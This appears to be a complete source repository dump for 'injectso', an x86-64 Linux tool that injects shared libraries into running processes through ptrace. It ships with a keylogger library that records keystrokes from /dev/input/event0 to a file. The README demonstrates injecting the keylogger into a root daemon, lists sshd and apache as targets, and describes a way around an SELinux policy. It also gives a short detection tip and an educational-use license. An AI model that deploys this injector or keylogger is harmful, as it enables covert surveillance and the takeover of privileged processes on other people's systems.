├── LICENSE ├── Makefile ├── README ├── dlwrap.c ├── dso-test.c ├── dumpkey2h ├── event.c ├── inject.c ├── keytab.h └── test.c /LICENSE: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2007-2009 Stealth. 3 | * All rights reserved. 4 | * 5 | * This is NOT a common BSD license, so read on. 6 | * 7 | * Redistribution in source and use in binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 11 | * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not 12 | * use this software or parts of it to commit crime or any illegal 13 | * activities. Local law may forbid usage or redistribution of this 14 | * software in your country. 15 | * 2. Redistributions of source code must retain the above copyright 16 | * notice, this list of conditions and the following disclaimer. 17 | * 3. Redistribution in binary form is not allowed. 18 | * 4. All advertising materials mentioning features or use of this software 19 | * must display the following acknowledgement: 20 | * This product includes software developed by Stealth. 21 | * 5. The name Stealth may not be used to endorse or promote 22 | * products derived from this software without specific prior written 23 | * permission. 24 | * 25 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY 26 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 27 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 28 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE 29 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 31 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 32 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 34 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 35 | * SUCH DAMAGE. 36 | */ 37 | 38 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-c -Wall -O2 3 | AS=yasm -f elf 4 | 5 | all: 6 | $(CC) $(CFLAGS) inject.c 7 | $(CC) inject.o -o inject -ldl 8 | 9 | $(CC) $(CFLAGS) -fPIC event.c dlwrap.c 10 | $(LD) -Bshareable -o event.so event.o dlwrap.o -lpthread 11 | 12 | clean: 13 | rm -rf *.o 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | injectso 2 | ======== 3 | 4 | This is the x86-64 rewrite of Shaun Clowes' i386/SPARC injectso which 5 | he presented at Blackhat Europe 2001. 6 | 7 | Lots of changes happened since then to the Linux runtime environment. The x86-64 8 | architecture and ABI required some changes, not only substituting the ELF32 by ELF64 9 | headers. Internal dl* functions check whether they are called from ld.so or glibc, 10 | e.g. we cant just point %rip to them. Luckily a do_dlopen() wrapper is located 11 | within glibc, otherwise we'd need to setup a fake stack-frame. 12 | 13 | Injectso allows for injecting a DLL at runtime into a process, if apropriate permissions 14 | are given. Two test-DSOs are included, one which prints out a hello-message and one 15 | wich records key-strokes into a file. If injected into a root-process it 16 | starts a logging-thread: 17 | 18 | (output-log from older injectso (2007) but the new one works the same) 19 | lopht:~ # uname -a 20 | Linux lopht 2.6.18.2-34-default #1 SMP Mon Nov 27 11:46:27 UTC 2006 x86_64 x86_64 x86_64 GNU/Linux 21 | lopht:event # ps auxH|grep nscd 22 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 23 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 24 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 25 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 26 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 27 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 28 | root 8824 0.0 0.0 120792 624 ? Ssl 23:08 0:00 /usr/sbin/nscd 29 | root 8833 0.0 0.0 5000 784 tty3 S+ 23:08 0:00 grep nscd 30 | lopht:event # ls -la /tmp/logz 31 | ls: cannot access /tmp/logz: No such file or directory 32 | 33 | Normal nscd, no logfiles. Injecting a DSO: 34 | 35 | lopht:event # ./inject 8824 /tmp/d.so 36 | do_dlopen:0x2b6843415a40 do_dlopen_offset:000f2a40 daemon's dl_open:0x2b911b7fda40 daemon's libc:0x2b911b70b000 37 | a 7fff8fbf7590 38 | lopht:event # cat /tmp/logz 39 | <+c>at 7t<+m>p7logzlopht:event # 40 | 41 | DSO successfully injected. One thread more appears in the listing: 42 | 43 | lopht:event # ps auxH|grep nscd 44 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 45 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 46 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 47 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 48 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 49 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 50 | root 8824 0.0 0.0 137320 948 ? Ssl 23:08 0:00 /usr/sbin/nscd 51 | root 8824 0.0 0.0 137320 948 ? Ssl 23:09 0:00 /usr/sbin/nscd 52 | root 8840 0.0 0.0 5000 788 tty3 S+ 23:09 0:00 grep nscd 53 | 54 | If you want to check for evil injects, use /proc/PID/maps. Targets are nscd, sshd, apache etc. 55 | Only reasonable libraries should appear in the output; no d.so or /tmp paths etc. 56 | 57 | lopht:~ # cat /proc/8824/maps 58 | 40000000-40001000 ---p 40000000 00:00 0 59 | 40001000-40201000 rw-p 40001000 00:00 0 60 | 40201000-40202000 ---p 40201000 00:00 0 61 | 40202000-40402000 rw-p 40202000 00:00 0 62 | 40402000-40403000 ---p 40402000 00:00 0 63 | 40403000-40603000 rw-p 40403000 00:00 0 64 | 40603000-40604000 ---p 40603000 00:00 0 65 | 40604000-40804000 rw-p 40604000 00:00 0 66 | 40804000-40805000 ---p 40804000 00:00 0 67 | 40805000-40a05000 rw-p 40805000 00:00 0 68 | 40a05000-40a06000 ---p 40a05000 00:00 0 69 | 40a06000-40c06000 rw-p 40a06000 00:00 0 70 | 40c06000-40c07000 ---p 40c06000 00:00 0 71 | 40c07000-41407000 rw-p 40c07000 00:00 0 72 | 2aaaaaad9000-2aaaaaae0000 r-xp 00000000 08:01 5837686 /lib64/libnss_compat-2.5.so 73 | 2aaaaaae0000-2aaaaacdf000 ---p 00007000 08:01 5837686 /lib64/libnss_compat-2.5.so 74 | 2aaaaacdf000-2aaaaace1000 rw-p 00006000 08:01 5837686 /lib64/libnss_compat-2.5.so 75 | 2aaaaad0e000-2aaaaad18000 r-xp 00000000 08:01 5837694 /lib64/libnss_nis-2.5.so 76 | 2aaaaad18000-2aaaaaf17000 ---p 0000a000 08:01 5837694 /lib64/libnss_nis-2.5.so 77 | 2aaaaaf17000-2aaaaaf19000 rw-p 00009000 08:01 5837694 /lib64/libnss_nis-2.5.so 78 | 2aaaaaf19000-2aaaaaf23000 r-xp 00000000 08:01 5837690 /lib64/libnss_files-2.5.so 79 | 2aaaaaf23000-2aaaab122000 ---p 0000a000 08:01 5837690 /lib64/libnss_files-2.5.so 80 | 2aaaab122000-2aaaab124000 rw-p 00009000 08:01 5837690 /lib64/libnss_files-2.5.so 81 | 2aaaab124000-2aaaab127000 r-xp 00000000 07:00 418032 /tmp/d.so 82 | 2aaaab127000-2aaaab326000 ---p 00003000 07:00 418032 /tmp/d.so 83 | 2aaaab326000-2aaaab327000 r--p 00002000 07:00 418032 /tmp/d.so 84 | 2aaaab327000-2aaaab329000 rw-p 00003000 07:00 418032 /tmp/d.so 85 | 2b911aeb1000-2b911aecd000 r-xp 00000000 08:01 5837666 /lib64/ld-2.5.so 86 | 2b911aecd000-2b911aece000 rw-p 2b911aecd000 00:00 0 87 | 2b911aefb000-2b911aefc000 rw-p 2b911aefb000 00:00 0 88 | 2b911b0cd000-2b911b0cf000 rw-p 0001c000 08:01 5837666 /lib64/ld-2.5.so 89 | 2b911b0cf000-2b911b0d7000 r-xp 00000000 08:01 5837703 /lib64/librt-2.5.so 90 | 2b911b0d7000-2b911b2d6000 ---p 00008000 08:01 5837703 /lib64/librt-2.5.so 91 | 2b911b2d6000-2b911b2d8000 rw-p 00007000 08:01 5837703 /lib64/librt-2.5.so 92 | 2b911b2d8000-2b911b2ee000 r-xp 00000000 08:01 5837699 /lib64/libpthread-2.5.so 93 | 2b911b2ee000-2b911b4ed000 ---p 00016000 08:01 5837699 /lib64/libpthread-2.5.so 94 | 2b911b4ed000-2b911b4ef000 rw-p 00015000 08:01 5837699 /lib64/libpthread-2.5.so 95 | 2b911b4ef000-2b911b4f3000 rw-p 2b911b4ef000 00:00 0 96 | 2b911b4f3000-2b911b507000 r-xp 00000000 08:01 5837684 /lib64/libnsl-2.5.so 97 | 2b911b507000-2b911b706000 ---p 00014000 08:01 5837684 /lib64/libnsl-2.5.so 98 | 2b911b706000-2b911b708000 rw-p 00013000 08:01 5837684 /lib64/libnsl-2.5.so 99 | 2b911b708000-2b911b70b000 rw-p 2b911b708000 00:00 0 100 | 2b911b70b000-2b911b844000 r-xp 00000000 08:01 5837673 /lib64/libc-2.5.so 101 | 2b911b844000-2b911ba43000 ---p 00139000 08:01 5837673 /lib64/libc-2.5.so 102 | 2b911ba43000-2b911ba46000 r--p 00138000 08:01 5837673 /lib64/libc-2.5.so 103 | 2b911ba46000-2b911ba48000 rw-p 0013b000 08:01 5837673 /lib64/libc-2.5.so 104 | 2b911ba48000-2b911ba4f000 rw-p 2b911ba48000 00:00 0 105 | 2b911ba4f000-2b911da4f000 rw-s 00000000 08:01 5937272 /var/run/nscd/passwd 106 | 2b911da4f000-2b911fa4f000 rw-s 00000000 08:01 5937273 /var/run/nscd/group 107 | 2b911fa4f000-2b9121a4f000 rw-s 00000000 08:01 5937393 /var/run/nscd/dbkwnWNO (deleted) 108 | 555555554000-55555556c000 r-xp 00000000 08:01 6132031 /usr/sbin/nscd 109 | 55555576c000-55555576e000 rw-p 00018000 08:01 6132031 /usr/sbin/nscd 110 | 55555576e000-55555578f000 rw-p 55555576e000 00:00 0 [heap] 111 | 7fff8fbe4000-7fff8fbf9000 rw-p 7fff8fbe4000 00:00 0 [stack] 112 | ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vdso] 113 | 114 | On some daemons, injecting the DSO does not work for unknown reason. 115 | It doesnt crash or alike; it just doesnt have any effect. Need to debug. 116 | 117 | Hardening discussion 118 | -------------------- 119 | Some hardening mechanisms block injecting of DSO's into confined 120 | processes; out of the box. 121 | 122 | Some systems have for example targeted SELinux configs enabled. However 123 | this does not help against local attackers injecting DSO's into sshd process 124 | space for example. Bypassing sshd target policy is as easy as copying 125 | the DSO to /lib64 to have it "unconfined_u:object_r:lib_t label" 126 | thus allowing the process to load it into memory. Since you'd need 127 | root anyway to ptrace sshd, this is no barrier. And there are places 128 | which is sshd allowed to write to, /var/log for example. So at the end 129 | you won nothing with the policy. If someone gained root, he won. 130 | You'd need full blown strict policy or RBAC system to forbid that. 131 | On the other hand, targeted policy already prevented me writing some 132 | local root exploit using sshd as exploitation vector, so its not so 133 | useless you may think. 134 | injectso may be used to test policy configs by injecting DSO's 135 | to create/read/etc. files on behalf of confined processes. 136 | 137 | -------------------------------------------------------------------------------- /dlwrap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | extern int event_main(int argc, char **argv); 5 | 6 | void *thread(void *arg) 7 | { 8 | char *argv[] = {"foo", "/dev/input/event0", "/tmp/logz", NULL}; 9 | event_main(3, argv); 10 | return NULL; 11 | } 12 | 13 | 14 | void _init() 15 | { 16 | 17 | pthread_t tid; 18 | pthread_create(&tid, NULL, thread, NULL); 19 | pthread_detach(tid); 20 | return; 21 | } 22 | 23 | -------------------------------------------------------------------------------- /dso-test.c: -------------------------------------------------------------------------------- 1 | /* gcc -fPIC -shared -nostartfiles dso-test.c -o /tmp/i.so */ 2 | #include 3 | 4 | 5 | void _init() 6 | { 7 | fprintf(stderr, "Yo from init()\n"); 8 | } 9 | 10 | 11 | -------------------------------------------------------------------------------- /dumpkey2h: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | 4 | open(I, "dumpkeys|") or die $!; 5 | open(O, ">keytab.h") or die $!; 6 | 7 | print O< "1", 17 | "two" => "2", 18 | "three" => "3", 19 | "four" => "4", 20 | "five" => "5", 21 | "six" => "6", 22 | "seven" => "7", 23 | "eight" => "8", 24 | "nine" => "9", 25 | "zero" => "0", 26 | 27 | "minus" => "-", 28 | "plus" => "+", 29 | "period" => ".", 30 | "space" => " ", 31 | ); 32 | 33 | while() { 34 | if (/keycode\s+(\d+)\s+=\s+(\S+)\s+/) { 35 | if (!defined $keytab{$1}) { 36 | $keytab{$1} = $2; 37 | } 38 | } 39 | } 40 | close(I); 41 | 42 | my $s = ""; 43 | foreach (keys %keytab) { 44 | if (length($keytab{$_}) > 1) { 45 | if (defined $name2char{$keytab{$_}}) { 46 | $s = $name2char{$keytab{$_}}; 47 | } else { 48 | $s = "<".$keytab{$_}.">"; 49 | } 50 | } else { 51 | $s = $keytab{$_}; 52 | } 53 | print O "\t[$_] = \"".$s."\",\n"; 54 | } 55 | 56 | print O "};\n#endif\n"; 57 | close(O); 58 | 59 | -------------------------------------------------------------------------------- /event.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2007-2009 Stealth. 3 | * All rights reserved. 4 | * 5 | * This is NOT a common BSD license, so read on. 6 | * 7 | * Redistribution in source and use in binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 11 | * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not 12 | * use this software or parts of it to commit crime or any illegal 13 | * activities. Local law may forbid usage or redistribution of this 14 | * software in your country. 15 | * 2. Redistributions of source code must retain the above copyright 16 | * notice, this list of conditions and the following disclaimer. 17 | * 3. Redistribution in binary form is not allowed. 18 | * 4. All advertising materials mentioning features or use of this software 19 | * must display the following acknowledgement: 20 | * This product includes software developed by Stealth. 21 | * 5. The name Stealth may not be used to endorse or promote 22 | * products derived from this software without specific prior written 23 | * permission. 24 | * 25 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY 26 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 27 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 28 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE 29 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 31 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 32 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 34 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 35 | * SUCH DAMAGE. 36 | */ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include "keytab.h" 48 | 49 | void die(const char *msg) 50 | { 51 | perror(msg); 52 | exit(errno); 53 | } 54 | 55 | 56 | #ifdef STANDALONE 57 | int main(int argc, char **argv) 58 | #else 59 | int event_main(int argc, char **argv) 60 | #endif 61 | { 62 | int fd, r = 0; 63 | struct input_event ev; 64 | int keycode_cache[512], k; 65 | int io_arg[2]; 66 | char *event_file = "/dev/input/event0"; 67 | char *output_file = "/dev/stdout"; 68 | FILE *fout = NULL; 69 | 70 | memset(&keycode_cache, 0, sizeof(keycode_cache)); 71 | 72 | if (argc == 2) { 73 | event_file = argv[1]; 74 | } else if (argc == 3) { 75 | event_file = argv[1]; 76 | output_file = argv[2]; 77 | } 78 | 79 | if ((fd = open(event_file, O_RDONLY)) < 0) 80 | die("open"); 81 | if ((fout = fopen(output_file, "a")) == NULL) 82 | die("fopen"); 83 | 84 | setbuffer(fout, NULL, 0); 85 | 86 | for (;;) { 87 | r = read(fd, &ev, sizeof(ev)); 88 | 89 | // key and key-pressed 90 | if (ev.type == EV_KEY && ev.value == 1 && ev.code < 512) { 91 | if ((k = keycode_cache[ev.code]) == 0) { 92 | io_arg[0] = ev.code; 93 | ioctl(fd, EVIOCGKEYCODE, &io_arg); 94 | k = io_arg[1]; 95 | if (io_arg[0] < 512) 96 | keycode_cache[io_arg[0]] = k; 97 | } 98 | if (k > 0 && k < 512) 99 | fprintf(fout, "%s", keytable[k]); 100 | } 101 | } 102 | return 0; 103 | } 104 | 105 | 106 | -------------------------------------------------------------------------------- /inject.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2007-2009 Stealth. 3 | * All rights reserved. 4 | * 5 | * This is NOT a common BSD license, so read on. 6 | * 7 | * Redistribution in source and use in binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 11 | * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not 12 | * use this software or parts of it to commit crime or any illegal 13 | * activities. Local law may forbid usage or redistribution of this 14 | * software in your country. 15 | * 2. Redistributions of source code must retain the above copyright 16 | * notice, this list of conditions and the following disclaimer. 17 | * 3. Redistribution in binary form is not allowed. 18 | * 4. All advertising materials mentioning features or use of this software 19 | * must display the following acknowledgement: 20 | * This product includes software developed by Stealth. 21 | * 5. The name Stealth may not be used to endorse or promote 22 | * products derived from this software without specific prior written 23 | * permission. 24 | * 25 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY 26 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 27 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 28 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE 29 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 31 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 32 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 34 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 35 | * SUCH DAMAGE. 36 | */ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | 58 | void die(const char *s) 59 | { 60 | perror(s); 61 | exit(errno); 62 | } 63 | 64 | 65 | char *find_libc_start(pid_t pid) 66 | { 67 | char path[1024]; 68 | char buf[1024], *start = NULL, *end = NULL, *p = NULL; 69 | char *addr1 = NULL, *addr2 = NULL; 70 | FILE *f = NULL; 71 | 72 | 73 | snprintf(path, sizeof(path), "/proc/%d/maps", pid); 74 | 75 | if ((f = fopen(path, "r")) == NULL) 76 | die("fopen"); 77 | 78 | for (;;) { 79 | if (!fgets(buf, sizeof(buf), f)) 80 | break; 81 | if (!strstr(buf, "r-xp")) 82 | continue; 83 | if (!(p = strstr(buf, "/"))) 84 | continue; 85 | if (!strstr(p, "/libc-")) 86 | continue; 87 | start = strtok(buf, "-"); 88 | addr1 = (char *)strtoul(start, NULL, 16); 89 | end = strtok(NULL, " "); 90 | addr2 = (char *)strtoul(end, NULL, 16); 91 | break; 92 | } 93 | 94 | fclose(f); 95 | return addr1; 96 | } 97 | 98 | 99 | int poke_text(pid_t pid, size_t addr, char *buf, size_t blen) 100 | { 101 | int i = 0; 102 | char *ptr = malloc(blen + blen % sizeof(size_t)); // word align 103 | memcpy(ptr, buf, blen); 104 | 105 | for (i = 0; i < blen; i += sizeof(size_t)) { 106 | if (ptrace(PTRACE_POKETEXT, pid, addr + i, *(size_t *)&ptr[i]) < 0) 107 | die("ptrace"); 108 | } 109 | free(ptr); 110 | return 0; 111 | } 112 | 113 | 114 | 115 | int peek_text(pid_t pid, size_t addr, char *buf, size_t blen) 116 | { 117 | int i = 0; 118 | size_t word = 0; 119 | for (i = 0; i < blen; i += sizeof(size_t)) { 120 | word = ptrace(PTRACE_PEEKTEXT,pid, addr + i, NULL); 121 | memcpy(&buf[i], &word, sizeof(word)); 122 | } 123 | return 0; 124 | } 125 | 126 | 127 | int inject_code(pid_t pid, size_t libc_addr, size_t dlopen_addr, char *dso) 128 | { 129 | char sbuf1[1024], sbuf2[1024]; 130 | struct user_regs_struct regs, saved_regs; 131 | int status; 132 | 133 | if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) 134 | die("ptrace 1"); 135 | waitpid(pid, &status, 0); 136 | if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) < 0) 137 | die("ptrace 2"); 138 | 139 | peek_text(pid, regs.rsp + 1024, sbuf1, sizeof(sbuf1)); 140 | peek_text(pid, regs.rsp, sbuf2, sizeof(sbuf2)); 141 | 142 | /* fake saved return address */ 143 | libc_addr = 0x0; 144 | poke_text(pid, regs.rsp, (char *)&libc_addr, sizeof(libc_addr)); 145 | poke_text(pid, regs.rsp + 1024, dso, strlen(dso) + 1); 146 | 147 | memcpy(&saved_regs, ®s, sizeof(regs)); 148 | 149 | /* pointer to &args */ 150 | printf("rdi=%zx rsp=%zx rip=%zx\n", regs.rdi, regs.rsp, regs.rip); 151 | 152 | regs.rdi = regs.rsp + 1024; 153 | regs.rsi = RTLD_NOW|RTLD_GLOBAL|RTLD_NODELETE; 154 | regs.rip = dlopen_addr + 2;// kernel bug?! always need to add 2! 155 | 156 | if (ptrace(PTRACE_SETREGS, pid, NULL, ®s) < 0) 157 | die("ptrace 3"); 158 | if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) 159 | die("ptrace 4"); 160 | 161 | /* Should receive a SIGSEGV */ 162 | waitpid(pid, &status, 0); 163 | 164 | if (ptrace(PTRACE_SETREGS, pid, 0, &saved_regs) < 0) 165 | die("ptrace 5"); 166 | 167 | poke_text(pid, saved_regs.rsp + 1024, sbuf1, sizeof(sbuf1)); 168 | poke_text(pid, saved_regs.rsp, sbuf2, sizeof(sbuf2)); 169 | 170 | if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) 171 | die("ptrace 6"); 172 | 173 | return 0; 174 | } 175 | 176 | 177 | 178 | void usage(const char *path) 179 | { 180 | printf("Usage: %s \n", path); 181 | } 182 | 183 | 184 | int main(int argc, char **argv) 185 | { 186 | pid_t daemon_pid = -1; 187 | char *my_libc = NULL, *daemon_libc = NULL; 188 | char *dl_open_address = NULL; 189 | char *dlopen_mode = NULL; 190 | FILE *pfd = NULL; 191 | char buf[128], *space = NULL; 192 | 193 | /* nm /lib64/libc.so.6|grep __libc_dlopen_mode: 00000000000f2a40 t __libc_dlopen_mode */ 194 | size_t dlopen_offset = 0; 195 | 196 | if (argc < 3) { 197 | usage(argv[0]); 198 | return 1; 199 | } 200 | 201 | setbuffer(stdout, NULL, 0); 202 | 203 | my_libc = find_libc_start(getpid()); 204 | 205 | printf("Trying to obtain __libc_dlopen_mode() address relative to libc start address.\n"); 206 | printf("[1] Using my own __libc_dlopen_mode ...\n"); 207 | dlopen_mode = dlsym(NULL, "__libc_dlopen_mode"); 208 | if (dlopen_mode) 209 | dlopen_offset = dlopen_mode - my_libc; 210 | 211 | if (dlopen_offset == 0 && 212 | (pfd = popen("nm /lib64/libc.so.6|grep __libc_dlopen_mode", "r")) != NULL) { 213 | printf("[2] Using nm method ... "); 214 | fgets(buf, sizeof(buf), pfd); 215 | if ((space = strchr(buf, ' ')) != NULL) 216 | *space = 0; 217 | dlopen_offset = strtoul(buf, NULL, 16); 218 | fclose(pfd); 219 | } 220 | if (dlopen_offset == 0) { 221 | printf("failed!\nNo more methods, bailing out.\n"); 222 | return 1; 223 | } 224 | printf("success!\n"); 225 | 226 | dl_open_address = find_libc_start(getpid()) + dlopen_offset; 227 | daemon_pid = (pid_t)atoi(argv[1]); 228 | daemon_libc = find_libc_start(daemon_pid); 229 | 230 | printf("me: {__libc_dlopen_mode:%p, dlopen_offset:%zx}\n=> daemon: {__libc_dlopen_mode:%p, libc:%p}\n", 231 | dl_open_address, dlopen_offset, daemon_libc + dlopen_offset, daemon_libc); 232 | 233 | inject_code(daemon_pid, (size_t)daemon_libc, 234 | (size_t)(daemon_libc + dlopen_offset), argv[2]); 235 | 236 | printf("done!\n"); 237 | return 0; 238 | } 239 | -------------------------------------------------------------------------------- /keytab.h: -------------------------------------------------------------------------------- 1 | #ifndef __keytab_h__ 2 | #define __keytab_h__ 3 | 4 | char *keytable[512] = { 5 | [32] = "d", 6 | [206] = "", 7 | [118] = "", 8 | [71] = "", 9 | [102] = "", 10 | [200] = "", 11 | [18] = "<+e>", 12 | [16] = "<+q>", 13 | [44] = "y", 14 | [55] = "", 15 | [84] = "", 16 | [27] = "+", 17 | [233] = "", 18 | [190] = "", 19 | [161] = "", 20 | [194] = "", 21 | [57] = " ", 22 | [220] = "", 23 | [20] = "t", 24 | [243] = "", 25 | [231] = "", 26 | [163] = "", 27 | [109] = "", 28 | [151] = "", 29 | [175] = "", 30 | [148] = "", 31 | [31] = "s", 32 | [35] = "h", 33 | [11] = "0", 34 | [208] = "", 35 | [78] = "", 36 | [106] = "", 37 | [157] = "", 38 | [65] = "", 39 | [29] = "", 40 | [197] = "", 41 | [203] = "", 42 | [138] = "", 43 | [199] = "", 44 | [114] = "", 45 | [226] = "", 46 | [58] = "", 47 | [211] = "", 48 | [153] = "", 49 | [15] = "", 50 | [137] = "", 51 | [81] = "", 52 | [60] = "", 53 | [101] = "", 54 | [73] = "", 55 | [86] = "", 56 | [76] = "", 57 | [62] = "", 58 | [247] = "", 59 | [67] = "", 60 | [204] = "", 61 | [241] = "", 62 | [165] = "", 63 | [198] = "", 64 | [139] = "", 65 | [129] = "", 66 | [2] = "1", 67 | [17] = "w", 68 | [186] = "", 69 | [110] = "", 70 | [82] = "", 71 | [147] = "", 72 | [228] = "", 73 | [236] = "", 74 | [249] = "", 75 | [218] = "", 76 | [202] = "", 77 | [168] = "", 78 | [184] = "", 79 | [135] = "", 80 | [14] = "", 81 | [112] = "", 82 | [69] = "", 83 | [191] = "", 84 | [172] = "", 85 | [145] = "", 86 | [49] = "n", 87 | [178] = "", 88 | [24] = "o", 89 | [224] = "", 90 | [187] = "", 91 | [140] = "", 92 | [223] = "", 93 | [104] = "", 94 | [131] = "", 95 | [181] = "", 96 | [234] = "", 97 | [79] = "", 98 | [212] = "", 99 | [154] = "", 100 | [23] = "i", 101 | [96] = "", 102 | [238] = "", 103 | [159] = "", 104 | [251] = "", 105 | [253] = "", 106 | [160] = "", 107 | [176] = "", 108 | [47] = "v", 109 | [8] = "7", 110 | [209] = "", 111 | [98] = "", 112 | [216] = "", 113 | [37] = "k", 114 | [117] = "", 115 | [43] = "", 116 | [195] = "", 117 | [5] = "4", 118 | [170] = "", 119 | [33] = "f", 120 | [21] = "z", 121 | [63] = "", 122 | [7] = "6", 123 | [227] = "", 124 | [80] = "", 125 | [193] = "", 126 | [119] = "", 127 | [180] = "", 128 | [99] = "", 129 | [244] = "", 130 | [179] = "", 131 | [162] = "", 132 | [72] = "", 133 | [255] = "", 134 | [246] = "", 135 | [240] = "", 136 | [74] = "", 137 | [182] = "", 138 | [61] = "", 139 | [230] = "", 140 | [108] = "", 141 | [115] = "", 142 | [103] = "", 143 | [201] = "", 144 | [232] = "", 145 | [10] = "9", 146 | [113] = "", 147 | [152] = "", 148 | [189] = "", 149 | [225] = "", 150 | [207] = "", 151 | [142] = "", 152 | [167] = "", 153 | [48] = "b", 154 | [107] = "